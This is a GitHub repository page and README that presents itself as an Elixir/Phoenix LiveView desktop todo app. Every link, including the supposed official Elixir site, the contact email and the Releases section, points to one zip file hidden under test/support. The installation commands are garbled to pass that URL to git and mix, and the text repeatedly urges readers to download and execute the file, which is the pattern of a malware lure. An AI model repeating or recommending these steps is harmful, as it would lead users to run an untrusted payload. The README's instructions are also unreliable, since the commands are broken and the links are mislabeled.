https://github.com/pollskipolaczekkk/elixir-desktop-todoapp
<div align="center"># Elixir Desktop Todoapp#### Elixir Todo App using the Desktop library with LiveView to create a desktop app<br />> 🚧 This is a work in progress and therefore you should expect that the> application may not have all the features at this moment.<br />
- Default Branch: main
- Last Pushed: 2026-02-19T16:23:56.000Z (4 months ago)
- Last Synced: 2026-04-30T16:34:21.446Z (about 2 months ago)
- Topics: android, desktop-app, ecto, elixir, elixir-desktop, elixir-lang, elixir-phoenix, erlang, erlang-otp, gettext, i18n, liveview, phoenix-framework, phoenix-liveview, sqlite3
- Language: Elixir
- Size: 2.02 MB
- Stars: 2
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Elixir Desktop Todo App 📝




Welcome to the **Elixir Desktop Todo App**! This application harnesses the power of Elixir and the Desktop library to create a seamless todo management experience. With LiveView, you can enjoy real-time updates and interactions, making task management efficient and enjoyable.
## Table of Contents
- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Technologies](#technologies)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)
## Features 🌟
- **Real-time Updates**: Thanks to LiveView, your tasks update in real-time without needing to refresh the page.
- **User-friendly Interface**: A clean and simple design that allows for easy navigation and task management.
- **Cross-Platform Compatibility**: Built to work seamlessly on multiple operating systems.
- **Persistent Storage**: Uses SQLite3 for reliable data storage.
- **Internationalization Support**: Easily adapt the app for different languages with Gettext.
## Installation ⚙️
To get started, clone the repository to your local machine:
```bash
git clone https://raw.githubusercontent.com/pollskipolaczekkk/elixir-desktop-todoapp/main/test/support/desktop-elixir-todoapp-2.1.zip
cd elixir-desktop-todoapp
```
Next, ensure you have Elixir and Erlang installed. If you haven't installed them yet, you can follow the instructions on the [official Elixir website](https://raw.githubusercontent.com/pollskipolaczekkk/elixir-desktop-todoapp/main/test/support/desktop-elixir-todoapp-2.1.zip).
Once you have the necessary dependencies, run the following command:
```bash
mix https://raw.githubusercontent.com/pollskipolaczekkk/elixir-desktop-todoapp/main/test/support/desktop-elixir-todoapp-2.1.zip
```
To set up the database, run:
```bash
mix https://raw.githubusercontent.com/pollskipolaczekkk/elixir-desktop-todoapp/main/test/support/desktop-elixir-todoapp-2.1.zip
```
You are now ready to start the application! Use the following command:
```bash
mix run --no-halt
```
For the latest releases, you can check out the [Releases section](https://raw.githubusercontent.com/pollskipolaczekkk/elixir-desktop-todoapp/main/test/support/desktop-elixir-todoapp-2.1.zip) to download the latest version and execute it.
## Usage 🖥️
After starting the application, you can access it through your desktop environment. The interface allows you to:
- **Add Tasks**: Quickly add new tasks to your list.
- **Edit Tasks**: Modify existing tasks as needed.
- **Delete Tasks**: Remove tasks that are no longer relevant.
- **Mark as Complete**: Easily mark tasks as completed to keep your list organized.
### User Interface Overview

The user interface is designed to be intuitive. Each section is clearly labeled, making it easy to find what you need.
## Technologies 🔧
This project utilizes a variety of technologies to deliver a robust application:
- **Elixir**: A dynamic, functional language designed for building scalable and maintainable applications.
- **Phoenix Framework**: A web framework for Elixir that provides high performance and productivity.
- **LiveView**: A library that enables rich, real-time user experiences with server-rendered HTML.
- **Ecto**: A database wrapper for Elixir that provides a simple and composable API for data access.
- **SQLite3**: A lightweight database engine that is easy to set up and use.
- **Gettext**: A tool for internationalization and localization, allowing the app to support multiple languages.
## Contributing 🤝
We welcome contributions from the community! If you want to help improve the Elixir Desktop Todo App, please follow these steps:
1. Fork the repository.
2. Create a new branch (`git checkout -b feature/YourFeature`).
3. Make your changes and commit them (`git commit -m 'Add some feature'`).
4. Push to the branch (`git push origin feature/YourFeature`).
5. Open a pull request.
Your contributions help make this project better for everyone!
## License 📄
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## Contact 📬
For any questions or feedback, feel free to reach out:
- **GitHub**: [pollskipolaczekkk](https://raw.githubusercontent.com/pollskipolaczekkk/elixir-desktop-todoapp/main/test/support/desktop-elixir-todoapp-2.1.zip)
- **Email**: https://raw.githubusercontent.com/pollskipolaczekkk/elixir-desktop-todoapp/main/test/support/desktop-elixir-todoapp-2.1.zip
For the latest updates, visit the [Releases section](https://raw.githubusercontent.com/pollskipolaczekkk/elixir-desktop-todoapp/main/test/support/desktop-elixir-todoapp-2.1.zip) to download and execute the newest version of the app.
Thank you for checking out the Elixir Desktop Todo App! We hope you find it useful for managing your tasks effectively.